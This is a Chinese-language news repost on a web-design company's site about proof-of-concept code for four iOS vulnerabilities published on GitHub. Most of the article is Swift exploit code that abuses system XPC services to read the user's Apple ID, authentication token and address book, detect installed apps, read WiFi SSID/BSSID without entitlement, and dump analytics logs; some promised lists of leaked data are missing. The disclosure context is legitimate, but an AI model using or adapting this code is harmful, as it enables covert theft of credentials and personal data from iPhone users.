[[425782]]
成都网站建设、做网站,成都做网站公司-创新互联建站已向成百上千家企业提供了,网站设计,网站制作,网络营销等服务!设计与技术结合,多年网站推广经验,合理的价格为您打造企业品质网站。
研究人员发现3个iOS 0 day漏洞PoC代码。
GitHub用户illusionofchaos在GitHub上发布了4个iOS 安全漏洞的PoC代码,其中包含3个0 day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:
从APP store中按住那个的应用可以在用户不知情的情况下访问以下信息:
PoC代码如下:
- let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
- let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
- let pid = ProcessInfo.processInfo.processIdentifier
- proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
- accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
- let appleID = response.credential.accountName
- let token = response.credential.authenticationToken
- }
- utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
- let addressBookData = data
- }
- }
该漏洞允许任何用户安装的APP来确定设备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个访问APP的方法可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与设备上安装的应用的bundle ID进行配对。具体参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :
- func isAppInstalled(bundleId: String) -> Bool {
- let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
- xpc_dictionary_set_uint64(xdict, "cache-command", 3)
- xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
- if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
- return true
- }
- return false
- }
XPC终端com.apple.nehelper会接收用户提供的参数sdk-version,如果该值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何符合条件的APP都可以在无需entiltlement的情况下获取WiFi信息。
- func wifi_info() -> String? {
- let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
- xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
- xpc_dictionary_set_string(xdict, "interface-name", "en0")
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
- if let result = xpc_dictionary_get_value(reply, "result-data") {
- let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
- let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
- return "SSID: \(ssid)\nBSSID: \(bssid)"
- } else {
- return nil
- }
- }
该漏洞允许任意用户安装的APP访问分析日志。这些日志中含有以下信息:
- func analytics_json() -> String? {
- let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2)
- xpc_connection_set_event_handler(connection, { _ in })
- xpc_connection_resume(connection)
- let xdict = xpc_dictionary_create(nil, nil, 0)
- xpc_dictionary_set_string(xdict, "command", "log-dump");
- let reply = xpc_connection_send_message_with_reply_sync(connection, xdict);
- return xpc_dictionary_get_string(reply, "log-dump");
- }
更多参见:https://habr.com/ru/post/579714/
网站标题:研究人员发现三个iOS0day漏洞PoC代码
地址分享:http://www.shufengxianlan.com/qtweb/news34/255084.html
网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联